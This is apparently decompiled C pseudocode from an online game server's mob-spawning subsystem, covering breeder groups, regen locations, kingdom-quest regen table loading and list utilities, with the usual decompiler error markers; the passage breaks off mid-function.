"47F6D0: undefined or illegal type '#811' (funcsize=7)" //----- (0047F6F0) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_RegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc, int *dir) { MobRegenClass::MobBreederGroup *v3; // esi@1 int v4; // ebx@1 bool v5; // zf@1 int v6; // ecx@2 int v7; // edx@2 char *v8; // eax@3 int v9; // edi@4 __int64 v10; // qax@6 signed int v11; // ebp@6 char result; // al@7 int mc; // [sp+Ch] [bp-120h]@2 int v14; // [sp+10h] [bp-11Ch]@2 int v15; // [sp+14h] [bp-118h]@2 FunctionEntarance _; // [sp+18h] [bp-114h]@1 char groupname[256]; // [sp+1Ch] [bp-110h]@3 unsigned int v18; // [sp+11Ch] [bp-10h]@7 int v19; // [sp+128h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "MobRegenClass::MobBreederGroup::mbg_RegenLoc"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_RegenLoc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_RegenLoc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; *dir = *((_DWORD *)v3 + 1643); v5 = *((_DWORD *)v3 + 1635) == 0; v19 = 0; if ( v5 ) { v6 = *((_DWORD *)v3 + 1633); v7 = *((_DWORD *)v3 + 1632); v15 = *((_DWORD *)v3 + 1641); v14 = v6; mc = v7; MobRegenClass::MobRegenLoc_Circular::mrlc_Get((MobRegenClass::MobRegenLoc_Circular *)&mc, loc); } else { v8 = ORToken::ort_GetString((ORToken *)((char *)v3 + 6424), groupname); if ( *((_DWORD *)v3 + 1637) > 0 ) { v9 = rand() % (2 * *((_DWORD *)v3 + 1637)) - *((_DWORD *)v3 + 1637); v4 = rand() % (2 * *((_DWORD *)v3 + 1638)) - *((_DWORD *)v3 + 1638); } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_RegenLoc : Width Zero", v8); v9 = 0; } v10 = v4 * *((_DWORD *)v3 + 1640) + v9 * *((_DWORD *)v3 + 1639); v11 = (WORD2(v10) & 0x3FF) + v10; LODWORD(v10) = v4 * *((_DWORD *)v3 + 1639) - v9 * *((_DWORD *)v3 + 1640); loc->x = (v11 >> 10) + *((_DWORD *)v3 + 1632); loc->y = (signed int)v10 / 1024 + *((_DWORD *)v3 + 1633); } --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_RegenLoc"); __security_check_cookie(v18); return result; } //----- (0047F8B0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_Set(MobRegenClass::MobBreederGroup *this, ORToken *groupname, Name3 *map_, char fam, MobRegenStruct::RegenRegion *regreg) { MobRegenClass::MobBreederGroup *v5; // esi@1 unsigned int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_QWORD *)v5 + 803) = *(_QWORD *)&groupname->ort_Name[0]; *((_QWORD *)v5 + 804) = *(_QWORD *)&groupname->ort_Name[8]; *((_DWORD *)v5 + 1610) = *(_DWORD *)&groupname->ort_Name[16]; *((_BYTE *)v5 + 6444) = fam; *(_QWORD *)((char *)v5 + 6493) = *(_QWORD *)&map_->n3_name[0]; *(_DWORD *)((char *)v5 + 6501) = *(_DWORD *)&map_->n3_name[8]; *((_DWORD *)v5 + 1632) = regreg->rgs_CenterX; *((_DWORD *)v5 + 1633) = regreg->rgs_CenterY; *((_DWORD *)v5 + 1634) = regreg->rgs_Width; *((_DWORD *)v5 + 1635) = regreg->rgs_Height; *((_DWORD *)v5 + 1636) = regreg->rgs_Rotate; *((_DWORD *)v5 + 1644) = 0; v6 = regreg->rgs_Height; if ( v6 ) { *((_DWORD *)v5 + 1638) = v6; *((_DWORD *)v5 + 1637) = regreg->rgs_Width; *((_DWORD *)v5 + 1639) = (unsigned __int64)(cos((double)regreg->rgs_Rotate * 0.01745329) * 1024.0); *((_DWORD *)v5 + 1640) = (unsigned __int64)(sin((double)regreg->rgs_Rotate * 0.01745329) * 1024.0); } else { *((_DWORD *)v5 + 1641) = regreg->rgs_Rotate; *((_DWORD *)v5 + 1642) = regreg->rgs_Rotate * regreg->rgs_Rotate; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Set"); } //----- (0047FA10) -------------------------------------------------------- #811 *__thiscall MobRegenClass::MobBreederGroup::l_AllocA(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd) { List *v2; // esi@1 ORTable *v3; // esi@1 v2 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocA(ListHandle hnd)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::l_AllocA(ListHandle hnd)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = List::l_AllocA(v2, hnd); if ( v3 != 0 ) { v3->ort_HeaderList.orchl_fieldname[17] = 0; v3->ort_HeaderList.orchl_fieldname[16] = 0; } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::l_AllocA", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocA(ListHandle hnd)"); return (#811 *)v3; } //----- (0047FAE0) -------------------------------------------------------- #811 *__thiscall MobRegenClass::MobBreederGroup::l_AllocZ(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd) { List *v2; // esi@1 ORTable *v3; // esi@1 v2 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocZ(ListHandle hnd)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::l_AllocZ(ListHandle hnd)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = List::l_AllocZ(v2, hnd); if ( v3 != 0 ) { v3->ort_HeaderList.orchl_fieldname[17] = 0; v3->ort_HeaderList.orchl_fieldname[16] = 0; } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::l_AllocZ", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocZ(ListHandle hnd)"); return (#811 *)v3; } //----- (0047FBB0) -------------------------------------------------------- MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocA(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd) { ORTable *v2; // eax@1 MobRegenClass::MobBreederGroup *v3; // esi@1 v2 = List::l_AllocA((List *)this, hnd); v3 = (MobRegenClass::MobBreederGroup *)v2; v2[3].ort_HeaderList.orchl_fieldname[44] = 0; v2[3].ort_HeaderList.orchl_fieldname[43] = 0; v2[3].ort_HeaderList.orchl_fieldname[42] = 0; v2[3].ort_HeaderList.orchl_fieldname[41] = 0; v2[3].ort_HeaderList.orchl_fieldname[40] = 0; strncpy( (char *)&v2[3].ort_HeaderList.orchl_fieldname[40], (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer, 0x14u); return v3; } //----- (0047FBF0) -------------------------------------------------------- MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocZ(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd) { ORTable *v2; // eax@1 MobRegenClass::MobBreederGroup *v3; // esi@1 v2 = List::l_AllocZ((List *)this, hnd); v3 = (MobRegenClass::MobBreederGroup *)v2; v2[3].ort_HeaderList.orchl_fieldname[44] = 0; v2[3].ort_HeaderList.orchl_fieldname[43] = 0; v2[3].ort_HeaderList.orchl_fieldname[42] = 0; v2[3].ort_HeaderList.orchl_fieldname[41] = 0; v2[3].ort_HeaderList.orchl_fieldname[40] = 0; strncpy( (char *)&v2[3].ort_HeaderList.orchl_fieldname[40], (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer, 0x14u); return v3; } //----- (0047FC30) -------------------------------------------------------- void __thiscall MobHatchery::_MobHatchery(MobHatchery *this) { void *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = *(void **)((char *)this + (_DWORD)((char *)&wholesaver + 18857032)); *(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18857024)) = List::_vftable_; if ( v2 ) operator delete__(v2); _eh_vector_destructor_iterator_( v1, 0x19B8u, 4096, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::_MobBreederGroup); } // 5ACE6C: using guessed type int (__stdcall *List_MobRegenClass__MobBreederGroup____vftable_[3])(__int16 hnd); //----- (0047FC70) -------------------------------------------------------- MobRegenClass::MobBreederGroup *__thiscall MobHatchery::mg_FindBreedGroup(MobHatchery *this, Name3 *map, ORToken groupname) { MobRegenClass::MobBreederGroup *result; // eax@2 int v4; // edx@3 unsigned __int16 v5; // ax@3 unsigned __int16 i; // dx@3 int v7; // esi@5 int v8; // eax@5 bool v9; // zf@5 int v10; // eax@5 int v11; // eax@6 unsigned int v12; // [sp+0h] [bp-4h]@0 if ( map ) { v4 = *(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18857032)); v5 = *(_WORD *)(v4 + 12 * *(_WORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18857038)) + 4); for ( i = *(_WORD *)(v4 + 12 * *(_WORD *)(v4 + 12 * *(_WORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18857038)) + 4) + 4); v5 < *(_WORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18857028)); i = *(_WORD *)(*(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18857032)) + 12 * i + 4) ) { v7 = *(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18857032)); v8 = 3 * v5; v9 = *(_BYTE *)(v7 + 4 * v8 + 8) == 0; v10 = v7 + 4 * v8; if ( v9 ) break; v11 = *(_DWORD *)v10; if ( !v11 ) break; if ( *(_DWORD *)&map->n3_name[0] == *(_DWORD *)(v11 + 6493) && *(_DWORD *)&map->n3_name[4] == *(_DWORD *)(v11 + 6497) && *(_DWORD *)&map->n3_name[8] == *(_DWORD *)(v11 + 6501) && *(_DWORD *)&groupname == *(_DWORD *)(v11 + 6424) && *(_DWORD *)&groupname.ort_Name[4] == *(_DWORD *)(v11 + 6428) && *(_DWORD *)&groupname.ort_Name[8] == *(_DWORD *)(v11 + 6432) && *(_DWORD *)&groupname.ort_Name[12] == *(_DWORD *)(v11 + 6436) && *(_DWORD *)&groupname.ort_Name[16] == *(_DWORD *)(v11 + 6440) ) break; if ( i >= *(_WORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18857028)) ) break; v5 = i; } __security_check_cookie(v12); } else { __security_check_cookie(v12); } return result; } //----- (0047FD80) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreeder::mb_SetLeader(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int i; // ecx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetLeader"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_SetLeader"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; for ( i = *(_DWORD *)(a2 + 92); i; i = *(_DWORD *)(i + 92) ) v3 = i; *(_DWORD *)(v3 + 92) = v2; *((_DWORD *)v2 + 22) = v3; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetLeader"); } //----- (0047FDF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_SetBrain(void *this) { void *v1; // esi@1 int v2; // ecx@2 int v3; // eax@9 int v4; // ecx@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SetBrain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SetBrain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1894) + 4) + 45) ) { case 0: v2 = (int)((char *)v1 + 7976); goto LABEL_8; case 1: v2 = (int)((char *)v1 + 8000); goto LABEL_8; case 2: v2 = (int)((char *)v1 + 8056); goto LABEL_8; case 3: v2 = (int)((char *)v1 + 8080); goto LABEL_8; case 4: v2 = (int)((char *)v1 + 8136); goto LABEL_8; case 5: v2 = (int)((char *)v1 + 8192); LABEL_8: *((_DWORD *)v1 + 2062) = (*(int (__stdcall **)(void *, char *))(*(_DWORD *)v2 + 16))(v1, (char *)v1 + 7632); break; default: v3 = (*(int (__thiscall **)(char *, void *, char *))(*((_DWORD *)v1 + 1994) + 16))( (char *)v1 + 7976, v1, (char *)v1 + 7632); v4 = *((_DWORD *)v1 + 1894); *((_DWORD *)v1 + 2062) = v3; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SetBrain Not Case EnemyDetectType", *(_DWORD *)(*(_DWORD *)(v4 + 4) + 45)); break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SetBrain"); } //----- (0047FF30) -------------------------------------------------------- void __thiscall KQRegenTable::_KQRegenTable(KQRegenTable *this) { void *v1; // ebp@1 OptionReader **v2; // edi@1 signed int v3; // ebx@1 void *v4; // esi@2 v1 = this; v2 = &this->kqrt_Array[0].or; v3 = 50; do { v4 = *v2; if ( *v2 ) { OptionReader::_OptionReader(*v2); operator delete(v4); } v2 += 4; --v3; } while ( v3 ); _eh_vector_destructor_iterator_( v1, 0x10u, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0047FFB0) -------------------------------------------------------- void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this, char *fname) { char *v2; // eax@1 KQRegenTable *v3; // esi@1 char v4; // cl@2 signed int v5; // ecx@3 char v6; // al@4 int v7; // eax@9 void *v8; // eax@12 OptionReader *v9; // eax@13 int v10; // ST10_4@19 unsigned int v11; // ST04_4@19 char path[128]; // [sp+Ch] [bp-190h]@15 char buffer[256]; // [sp+8Ch] [bp-110h]@2 unsigned int v14; // [sp+18Ch] [bp-10h]@19 int v15; // [sp+198h] [bp-4h]@12 v2 = fname; v3 = this; do { v4 = *v2; v2[buffer - fname] = *v2; ++v2; } while ( v4 ); v5 = 0; do { v6 = buffer[v5]; if ( !v6 ) break; if ( v6 == 46 ) { buffer[v5] = 0; break; } ++v5; } while ( v5 < 256 ); v7 = v3->kqrt_Number; if ( (unsigned int)v7 >= 0x32 ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Too many kq regen table", v7); ShineExit("KQRegenTable::kqrt_Load"); } v8 = operator new(0x10854u); v15 = 0; if ( v8 ) OptionReader::OptionReader((OptionReader *)v8); else v9 = 0; v3->kqrt_Array[v3->kqrt_Number].or = v9; v15 = -1; sprintf(path, "../9Data/Shine/MobRegen/KingdomQuest/%s.txt"); if ( !OptionReader::or_Read(v3->kqrt_Array[v3->kqrt_Number].or, path) ) { sprintf(path, "../9Data/Shine/MobRegen/Instant/%s.txt"); if ( !OptionReader::or_Read(v3->kqrt_Array[v3->kqrt_Number].or, path) ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Error found", path); ShineExit("KQRegenTable::kqrt_Load"); } } v10 = (int)((char *)v3 + 16 * v3->kqrt_Number); *(_DWORD *)(v10 + 8) = 0; *(_DWORD *)(v10 + 4) = 0; *(_DWORD *)v10 = 0; strncpy((char *)v10, buffer, 0xCu); v11 = v3->kqrt_Number + 1; v3->kqrt_Number = v11; qsort(v3, v11, 0x10u, KQRegenTable::Element::Comp); __security_check_cookie(v14); } //----- (00480190) -------------------------------------------------------- #error "480190: undefined or illegal type '#440' (funcsize=74)" //----- (004802D0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, #811 *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, (const void *)ele, 0x64u); return 1; } // 4802E5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00480300) -------------------------------------------------------- std::mem_fun_ref_t *__cdecl std::for_each>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::mem_fun_ref_t _Func) { std::vector >::iterator v4; // esi@1 std::mem_fun_ref_t *v5; // eax@3 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = _Func; } else { do { (*(void (__thiscall **)(_DWORD))&_Func)(v4); *(_DWORD *)&v4 += 6; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = _Func; } return v5; } //----- (00480340) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy_backward(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest) { FamilyMobManagement::MobSpeciesSlot *v3; // ecx@1 FamilyMobManagement::MobSpeciesSlot *result; // eax@1 v3 = _Last; for ( result = _Dest; v3 != _First; result->mss_Killed = v3->mss_Killed ) { --v3; --result; *(_DWORD *)&result->mss_Species = *(_DWORD *)&v3->mss_Species; } return result; } //----- (00480380) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest) { FamilyMobManagement::MobSpeciesSlot *v3; // ecx@1 FamilyMobManagement::MobSpeciesSlot *result; // eax@1 FamilyMobManagement::MobSpeciesSlot *v5; // edi@2 unsigned __int16 v6; // si@2 v3 = _First; for ( result = _Dest; v3 != _Last; v5->mss_Killed = v6 ) { v5 = result; *(_DWORD *)&result->mss_Species = *(_DWORD *)&v3->mss_Species; v6 = v3->mss_Killed; ++v3; ++result; } return result; } //----- (004803C0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00480410) -------------------------------------------------------- #error "480410: undefined or illegal type '#331' (funcsize=211)" //----- (004806C0) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(MobRegenClass::MobBreederGroup *this, char bNextRegen) { int (__stdcall **Regeniter)(int, __int16); // [sp+0h] [bp-14h]@1 char v4; // [sp+4h] [bp-10h]@1 int v5; // [sp+10h] [bp-4h]@1 Regeniter = &MobBreedRegenEnable::_vftable_; v4 = bNextRegen; v5 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&Regeniter); return 1; } // 5AD034: using guessed type int (__stdcall *MobBreedRegenEnable___vftable_)(int, __int16 handle); //----- (00480710) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreeder::mb_Set(void *this, int grp, __int16 mobid, int regensec, int regenCount) { void *v5; // ebx@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v5 = grp; *((_WORD *)v5 + 3) = mobid; *((_DWORD *)v5 + 2) = -1; memcpy((char *)v5 + 12, (const void *)regensec, 0x30u); v6 = *((_DWORD *)v5 + 3); *((_BYTE *)v5 + 68) = 1; *((_DWORD *)v5 + 16) = 10 * *(_DWORD *)(regensec + 28); *((_DWORD *)v5 + 21) = regenCount; *((_DWORD *)v5 + 18) = v6; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetBrain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_SetBrain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetBrain"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Set"); return 1; } //----- (00480820) -------------------------------------------------------- void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this) { KQRegenTable *v1; // edi@1 int v2; // esi@1 int v3; // esi@6 struct _finddata_t buffer; // [sp+8h] [bp-11Ch]@1 v1 = this; v2 = _findfirst("../9Data/Shine/MobRegen/KingdomQuest/*.txt", &buffer); if ( v2 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Path Invalid", 0); ShineExit("KQRegenTable::kqrt_Load"); } KQRegenTable::kqrt_Load(v1, buffer.name); while ( !_findnext(v2, &buffer) ) KQRegenTable::kqrt_Load(v1, buffer.name); _findclose(v2); v3 = _findfirst("../9Data/Shine/MobRegen/Instant/*.txt", &buffer); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Path Invalid", 1); ShineExit("KQRegenTable::kqrt_Load"); } KQRegenTable::kqrt_Load(v1, buffer.name); while ( !_findnext(v3, &buffer) ) KQRegenTable::kqrt_Load(v1, buffer.name); _findclose(v3); } //----- (00480950) -------------------------------------------------------- #error "480950: undefined or illegal type '#440' (funcsize=127)" //----- (00480B60) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, MobRegenClass::MobBreederGroup *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MobRegenClass::MobBreederGroup::operator_(v3, (int)ele); return 1; } // 480B75: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00480B90) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreederGroup::operator_(int this, int a2) { int v2; // edx@1 int result; // eax@1 void *v4; // ebx@1 signed int v5; // [sp+14h] [bp+4h]@1 v2 = a2; result = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); v4 = (void *)(this + 24); v5 = 64; do { memcpy(v4, (char *)v4 + v2 - this, 0x64u); v4 = (char *)v4 + 100; --v5; } while ( v5 ); *(_DWORD *)(this + 6424) = *(_DWORD *)(v2 + 6424); *(_DWORD *)(this + 6428) = *(_DWORD *)(v2 + 6428); *(_DWORD *)(this + 6432) = *(_DWORD *)(v2 + 6432); *(_DWORD *)(this + 6436) = *(_DWORD *)(v2 + 6436); *(_DWORD *)(this + 6440) = *(_DWORD *)(v2 + 6440); *(_BYTE *)(this + 6444) = *(_BYTE *)(v2 + 6444); memcpy((void *)(this + 6445), (const void *)(v2 + 6445), 0x3Cu); *(_DWORD *)(this + 6508) = *(_DWORD *)(v2 + 6508); *(_DWORD *)(this + 6512) = *(_DWORD *)(v2 + 6512); *(_DWORD *)(this + 6516) = *(_DWORD *)(v2 + 6516); *(_DWORD *)(this + 6520) = *(_DWORD *)(v2 + 6520); *(_DWORD *)(this + 6524) = *(_DWORD *)(v2 + 6524); memcpy((void *)(this + 6528), (const void *)(v2 + 6528), 0x38u); return result; } //----- (00480CF0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, MobRegenClass::MobBreederGroup *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MobRegenClass::MobBreederGroup::operator_(v3, (int)ele); return 1; } // 480D06: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00480D20) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, MobRegenClass::MobBreederGroup *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MobRegenClass::MobBreederGroup::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00480D70) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, MobRegenClass::MobBreederGroup *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MobRegenClass::MobBreederGroup::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00480DC0) -------------------------------------------------------- #error "480DC0: undefined or illegal type '#811' (funcsize=88)" //----- (00480EE0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00480F30) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__cdecl std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::const_iterator v5; // ecx@1 FamilyMobManagement::MobSpeciesSlot *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->mss_Species = **(_DWORD **)&v5; result->mss_Killed = *(_WORD *)(*(_DWORD *)&v5 + 4); } *(_DWORD *)&v5 += 6; } return result; } //----- (00480F70) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_ScriptDataStore(MobRegenClass::MobBreederGroup *this, MobRegenStruct::RegenMobStruct *data, ORToken *aitype) { int v3; // ebp@1 const char *v4; // ebx@1 unsigned int v5; // eax@1 signed __int16 v6; // di@1 int v7; // eax@5 void *v8; // esi@7 int hnd; // [sp+10h] [bp-14h]@0 unsigned int aitypea; // [sp+2Ch] [bp+8h]@5 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((void *)(v3 + 6445), &data->rms_regen, 0x30u); *(_QWORD *)(v3 + 6508) = *(_QWORD *)&aitype->ort_Name[0]; *(_QWORD *)(v3 + 6516) = *(_QWORD *)&aitype->ort_Name[8]; v4 = data->rms_mobname; *(_DWORD *)(v3 + 6524) = *(_DWORD *)&aitype->ort_Name[16]; v5 = BTree::operator__(&mobdatabox.mdb_btree, data->rms_mobname); v6 = -1; if ( v5 != -1 ) v6 = v5; if ( 